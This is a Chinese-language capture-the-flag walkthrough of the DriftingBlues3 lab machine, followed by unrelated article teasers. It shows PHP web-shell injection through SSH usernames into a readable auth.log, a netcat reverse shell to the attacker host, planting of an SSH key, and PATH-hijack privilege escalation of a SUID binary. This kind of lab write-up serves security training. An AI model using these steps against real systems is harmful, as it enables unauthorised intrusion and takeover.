driftingblues3靶机(auth.log日志、命令执行)

news/2024/11/24 11:50:00/

环境准备

靶机链接:百度网盘 请输入提取码

提取码:yc07

虚拟机网络链接模式:桥接模式

攻击机系统:kali linux 2021.1

信息收集

1.探测目标靶机开放端口和服务情况

2.用dirsearch扫描出目录

dirsearch -u 192.168.1.101

漏洞探测

1.访问网页

2.看下敏感目录里的信息,不让访问/eventadmins目录

3.访问后知道的信息,三个用户名

john buddy buddyG

4.用curl命令查看源码,发现隐藏信息

5.访问网页后有一段base64编码的密文

curl -i -L http://192.168.1.101/littlequeenofspades.html

6.经过俩次解密,得到一个php网页

echo 'L2FkbWluc2ZpeGl0LnBocA==' | base64 -d

7.查看之后,发现特别像auth.log的内容

curl -i -L http://192.168.1.101/adminsfixit.php

8.查看auth.log日志文件后肯定他就是

漏洞利用

1.故意登录ssh,造成报错,看能否在日志里看到

ssh weiqin@192.168.1.101

2.curl -i -L http://192.168.1.101/adminsfixit.php

等几分钟再执行curl命令,发现成功记录了登陆的信息

3.auth日志会保存尝试ssh登录的用户名而不去校验这个用户名是否合法或在本地存在

那么我们就可以在用户名处注入可以被执行的脚本然后尝试访问他就可以实现RCE命令执行

ssh '<?php system($_GET["cmd"]);?>'@192.168.1.101

curl -i -L http://192.168.1.101/adminsfixit.php?cmd=ls

4.开启监听,用nc来反弹shell

http://192.168.1.101/adminsfixit.php?cmd=nc -e /bin/sh 192.168.1.106 4444

权限提升

1.回弹shell成功后用python来弹交互式shell,在robertj用户下发现.ssh目录

python -c 'import pty;pty.spawn("/bin/bash")'

2.既然有.ssh目录那就上传个秘钥

ssh-keygen

3.本地开启8000端口后,靶机将公钥文件下载下来

python3 -m http.server

wget http://192.168.1.106:8000/id_rsa.pub

4.给authorized_keys权限

chmod 777 authorized_keys

5.直接登录就行了

ssh robertj@192.168.1.101 -i id_rsa

6.查询有suid权限执行的文件

find / -perm -u=s -type f 2>/dev/null

7.看到getinfo

执行getinfo会发现,他是由下面这几个命令构成的

ip a cat /etc/hosts uname -a

8.把ip给替换成可以执行提权的命令,然后把环境变量改了,就可以成功提权

9.最后进入root目录,成功拿下!!!


http://www.ppmy.cn/news/5030.html

相关文章

雪花算法原理

SnowFlake算法生成id的结果是一个64bit大小的整数&#xff0c;它的结构如下图&#xff1a;1bit&#xff0c;不用&#xff0c;因为二进制中最高位是符号位&#xff0c;1表示负数&#xff0c;0表示正数。生成的id一般都是用整数&#xff0c;所以最高位固定为0。41bit时间戳&#…

认识微服务

服务架构演变&#xff1a; 1.单体架构&#xff1a;将业务的所有功能集中在一个项目中开发&#xff0c;打成一个包部署。 优点&#xff1a;架构简单&#xff0c;部署成本低 缺点&#xff1a;耦合度高 2.分布式架构&#xff1a;根据业务功能对系统进行拆分&#xff0c;每个业务…

Linux----paste命令使用详解

【原文链接】Linux----paste命令使用详解 文章目录一、paste命令使用方法1.1 paste命令作用1.2 paste命令选项二、paste命令使用实例2.1 将两个文件&#xff0c;按照行合并2.2 将两个文件按照行合并&#xff0c;同时指定间隔符2.3 将两个文件串行合并一、paste命令使用方法 1.…

C语言源程序的基本单位是( )。

A&#xff0e; 过程 B&#xff0e; 函数 C&#xff0e; 子程序 D&#xff0e; 标识符 正确答案&#xff1a;B 解释&#xff1a;显而易见&#xff08;doge&#xff09; 补充&#xff1a; 三、C程序的基本组成 1、C语言源程序的基本单位是函数。 C程序是由若干…

Allegro关闭线段显示不连续效果操作指导

Allegro关闭线段显示不连续效果操作指导 用Allegro进行PCB设计的时候偶尔会出现线段不连续的情况,尤其是在线段拐弯处,实际上并不是线段没有连接上,只是一个显示效果而已,如下图 如何去关闭这个显示效果,具体操作如下 选择Setup-Design Parameter 选择Display 取消勾…

PyTorch Module类构造模型

继承Module类来构造模型&#xff0c;Module类是nn模块里提供的一个模型构造类&#xff0c;是所有神经网络模块的基类&#xff1a; __init__函数&#xff1a;创建模型参数 forward函数&#xff1a;定义前向计算 backward函数&#xff1a;反向传播 注意&#xff0c;这里并没有将…

mysql主从复制

1.服务器环境准备 我这里是在两台centos系统的虚拟机中进行的ip地址分别是192.168.168.100&#xff08;主&#xff09;和192.168.168.101&#xff08;从&#xff09; 系统为&#xff1a;CentOS Linux release 7.5.1804 (Core) 在两台服务器上都安装mysql&#xff0c;可以按照…

使用HTML制作静态宠物网站——蓝色版爱宠之家(HTML+CSS)

&#x1f389;精彩专栏推荐 &#x1f4ad;文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业&#xff1a; 【&#x1f4da;毕设项目精品实战案例 (10…